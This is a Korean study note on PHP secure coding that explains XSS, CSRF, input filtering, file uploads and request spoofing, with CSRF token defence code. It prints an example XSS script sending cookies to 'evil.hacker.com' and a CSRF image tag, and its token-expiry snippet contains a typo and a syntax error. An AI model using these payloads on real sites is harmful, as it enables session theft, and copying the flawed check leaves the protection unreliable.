PHP 시큐어 코딩 #2

#1.XSS, CSRF, spoof?
XSS: 관리자가 아닌 이용자가 script를 삽입할 수 있는 취약점. 비지속성/지속성 으로 분류. 지속성은 클릭하는 사람의 쿠키를 웹사이트에 get으로 보낸다던가...
https://ko.wikipedia.org/wiki/%EC%82%AC%EC%9D%B4%ED%8A%B8_%EA%B0%84_%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8C%85
CSRF: 사이트 간 요청 위조. 예를들어 이미지 태그에 get 값을 받아오는 걸 url로 넣어놓으면 사용자가 접속했을 때 브라우저가 이를 불러오다가 사용자의 승인이나 인지 없이 작업을 수행하게 됨.
https://ko.wikipedia.org/wiki/%EC%82%AC%EC%9D%B4%ED%8A%B8_%EA%B0%84_%EC%9A%94%EC%B2%AD_%EC%9C%84%EC%A1%B0

XSS같은 취약점들은 오염된 데이터를 남용할 때 발생하는 단적인 예시로 볼 수 있다.

#2.데이터의 분류
필터링된 데이터 / 오염된 데이터로 구분해야 할 것이다. 원격 소스에서 가져오는 모든 입력은 오염된 것으로 보고 필터링을 실시한다.
전자의 경우 사용자가 직접 작성한, 신뢰할 수 있는 데이터이며 후자의 경우 말했듯이 필터링되지 않은 데이터라 할 수 있을 것이다.

폼 입력은 공격자에게 웹 응용프로그램이 어떤 데이터를 사용하는지 알려주는 청사진의 역할을 하기에 폼 처리에 신경을 써야 한다.
사용자는 주로 다음과 같은 세 가지를 통해 폼으로 데이터를 전송한다. >> URL(get), 요청(post), HTTP헤더(쿠키).
post는 request에 값이 컨텐츠로 포함되게 된다. HTTP/1.1 Request를 까보면 안에 데이터가 get처럼 들어있음.

#3.URL 공격
만약 reset.php가 get으로 사용자의 이름과 이메일 주소를 전달받아 해당 사용자의 새로운 비밀번호를 이메일로 받는다고 하자. 일반적인 사용으로는 정당한 소유자로써 이 웹사이트에 접근할 수 있겠지만 해당 변수의 용도를 추측한 사용자가 다른 계정으로 파라미터를 바꿔 URL을 사용해보면? 그래서 세션을 사용하게 된다. 즉 이전에 제대로 응답을 했는지, 그 응답한 사용자의 이름은 무엇인지를 기억하고 있다가 검증을 하는 방식으로써 사용자의 입력을 신뢰하지 않는다는 것이 그 핵심이 될 것이다.

#4.파일 업로드 공격
사용자가 폼을 이용해 파일을 업로드 할 때 이는 슈퍼 전역변수 $_FILE을 사용한다. 이를 print_r($_FILE) 로 출력시키면 업로드된 파일의 정보가 출력되지만 이보다는 HTTP Request를 분석하는 것이 무엇이 클라이언트에서 받은 정보고 무엇이 PHP에서 제공한 것인지를 구분할 수 있을 것이다.
크게 tmp_name, error, size 세 가지가 있는데 이들은 PHP에서 제공된다. PHP는 업로드된 파일을 시스템의 임시 보관소(/tmp/[DIRECTORY] 같은 느낌)에 보관하고 이를 다른 곳으로 옮기거나 메모리에 올리는 작업을 수행하게 되는데 이때 업로드된 파일을 검증하지 않고 tmp_name을 사용한다면 '이론상'의 위협이 존재하게 된다. 아직 공격자가 이를 수정하는 익스플로잇이 발견된 적은 없기 때문에 이론상의 위협으로 불리는데 이는 PHP함수 is_uploaded_file(), move_uploaded_file() 을 사용해서 위험을 덜 수 있다. 후자는 오직 전자가 참인 파일에만 사용 가능하기 때문에 서로 잘 맞물린다.

사실 제일 좋은 방법은 여분의 계층을 추가하는 것이다. 적게 믿는 것이 가장 좋은 방법.

#5.XSS
대부분의 웹 응용프로그램은 어떤 식으로든 입력을 표시하기 때문에 이를 제대로 필터링하고 이스케이프하지 않으면 취약점이 발생할 수 있다. 예를 들어 방명록 사이트가 있다고 할 때 방명록 본문에 <script>document.location="evil.hacker.com/hack.phg?cookie="+document.cookie</script> 이런식으로 내용이 적혀 있다면 이 방명록을 보는 사용자들은 자동으로 이 스크립트 코드를 실행, 원하지 않는데도 불구하고 쿠키를 탈취당할 수 있다.

#6.CSRF
크로스 사이트 리퀘스트 위조.
공격자가 아니라 사용자로 하여금 비의도적인 HTTP Request를 보내도록 하여 공격인지 판별하기 어렵다.
예를들어 어떤 물건을 구매할 때 그 품목을 get으로 받는 URL이 있다고 하면 이를 다른 사이트에 이미지 태그 등으로 삽입, 그곳을 방문하는 사용자로 하여금 브라우저가 그 URL을 방문하여 Request를 보내도록 함으로써 이루어진다. 이는 백엔드에서 $_REQUEST 슈퍼 전역배열을 사용한다는 가정하에 진행한다.

브라우저가 이런 페이지 내에 삽입된 요소들을 처리할 때 이미지 태그에 있는 SRC에 대해서 추가적인 Request를 전송한다. 이때 <img src="evil.hacker.com/shop.php?item=pencil&quantity=50"> 이런 식의 태그가 삽입되어 있다면 이 사이트를 방문한 사용자는 자동적으로 저 URL에 접근, 원치 않는 물건을 구매하게 된다. 이는 태그의 속성에 전송을 유발하는 코드가 삽입되어 있기에 transfer+include=transclude라고 칭한다.

이는 백엔드에서 $_REQUEST 배열을 사용하기 때문에 이루어질 수 있으며 이는 $_POST 를 사용하고 get 대신 post를 사용하는 것으로 필터링할 수 있다.
가장 중요한 것은 우리가 만든 폼만 사용하여 데이터를 전송하도록 하는 것으로 이는 주문 폼 페이지에 PHP 코드를 삽입하여 구현할 수 있다.
<?php
session_start();
$token=md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
$_SESSION['token_time'] = time();
?>
...
<input type="hidden" name="token" value="<?php echo $token; ?>"/>
...
이런식으로 사용자 고유의 토큰을 전송하여(물론 post) 다른 사용자의 요청을 무효화 할 수 있다. 토큰은 아래와 같은 구문으로 간단히 검사할 수 있다.
if isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']){
	// 올바른 처리.
}
이떄 토큰이 무한히 존재하면 안되므로 다음과 같은 조건식으로 토큰의 유효시간을 제한할 수 있다.
$toekn_age = time() - $_SESSION['token_time'];
if($token_age < 300){
	// 토큰이 아직 유효함.
}

#7.폼 제출 스푸핑
사용자가 웹사이트를 자신의 서버에 저장하고 소스를 수정하여 클라이언트 측에서 수행하는 데이터 검증 과정을 제거하거나 다양한 폼 요소들을 제공하도록 폼을 수정하면 원하는 데이터를 서버에 전송할 수 있다. 이는 입력 필터링으로 충분히 방어할 수 있다. HTTP Request에는 Referer라는 속성이 있어 이 요청이 어디서 전송되었는지 알 수 있으므로 백엔드에서 $_SERVER['HTTP_REFERER'] 같은 것을 검사하는 로직으로 필터링 할 수도 있겠지만 아래와 같은 HTTP Request 조작으로 우회할 수 있기 때문에 그다지 권장되지 않는다.

#8.HTTP Requeset 스푸핑
사용자가 폼을 선택하고 보내는 Request는 Telnet 등으로 충분히 수정 가능하다. Telnet이 유일한 것은 아니지만 웹 서버와 직접 통신할 수 있는 여러 방법들(PHP의 fsockopen() 함수 등)로 브라우저를 사용하지 않고도 접근 가능하다. 이들 역시 필터링으로 충분히 막을 수 있으며 중요한 것은 요청을 전달하는 방법이 다양하다는 것이 아니라 입력 필터링의 중요성 및 HTTP Request에서 제공되는 어떤 것도 신뢰할 수 없다는 것을 설득력있게 전달하기 위한 것이다.